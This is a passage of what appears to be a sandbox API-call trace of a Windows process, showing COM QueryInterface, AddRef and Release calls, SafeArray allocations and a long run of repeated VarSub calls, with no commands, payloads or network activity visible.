[7]=0xd2)), ppvObject=0x126410 | out: ppvObject=0x126410*=0x0) returned 0x80004002 [0053.656] IUnknown:Release (This=0x6856a50) returned 0x8 [0053.656] IUnknown:AddRef (This=0x69fd518) returned 0x6 [0053.656] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126418 | out: ppvObject=0x126418*=0x0) returned 0x80004002 [0053.656] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126410 | out: ppvObject=0x126410*=0x0) returned 0x80004002 [0053.656] IUnknown:Release (This=0x69fd518) returned 0x5 [0053.656] IUnknown:AddRef (This=0x69b28a8) returned 0x5 [0053.656] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126418 | out: ppvObject=0x126418*=0x0) returned 0x80004002 [0053.656] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126410 | out: ppvObject=0x126410*=0x0) returned 0x80004002 [0053.656] IUnknown:Release (This=0x69b28a8) returned 0x4 [0053.656] IUnknown:AddRef (This=0x6856688) returned 0x4 [0053.656] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126418 | out: ppvObject=0x126418*=0x0) returned 0x80004002 [0053.656] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126410 | out: ppvObject=0x126410*=0x0) returned 0x80004002 [0053.656] IUnknown:Release (This=0x6856688) returned 0x3 [0053.656] IUnknown:AddRef (This=0x6856738) returned 0x4 [0053.656] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126418 | out: ppvObject=0x126418*=0x0) returned 0x80004002 [0053.656] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126410 | out: ppvObject=0x126410*=0x0) returned 0x80004002 [0053.656] IUnknown:Release (This=0x6856738) returned 0x3 [0053.656] IUnknown:AddRef (This=0x68569a0) returned 0x6 [0053.656] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126418 | out: ppvObject=0x126418*=0x0) returned 0x80004002 [0053.656] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126410 | out: ppvObject=0x126410*=0x0) returned 0x80004002 [0053.656] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.656] IUnknown:AddRef (This=0x69b2e28) returned 0x5 [0053.656] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126418 | out: ppvObject=0x126418*=0x0) returned 0x80004002 [0053.656] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126410 | out: ppvObject=0x126410*=0x0) returned 0x80004002 [0053.656] IUnknown:Release (This=0x69b2e28) returned 0x4 [0053.657] SafeArrayAllocData (psa=0x697b160) returned 0x0 [0053.658] SafeArrayAllocData (psa=0x663f2e0) returned 0x0 [0053.667] SafeArrayDestroyData (psa=0x663f2e0) returned 0x0 [0053.667] SafeArrayDestroyDescriptor (psa=0x663f2e0) returned 0x0 [0053.667] VarAdd (in: pvarLeft=0x697b1a8, pvarRight=0x697b268, pvarResult=0x697b190 | out: pvarResult=0x697b190) returned 0x0 [0053.667] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x697b2a8 | out: ppsaOut=0x697b2a8) returned 0x0 [0053.667] SafeArrayAllocData (psa=0x663f2e0) returned 0x0 [0053.716] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.716] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.716] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.716] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.716] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.716] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.716] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.717] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.718] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.719] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.720] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.721] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.722] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.723] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.724] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.725] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.726] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.727] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.728] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.729] VarSub (in: 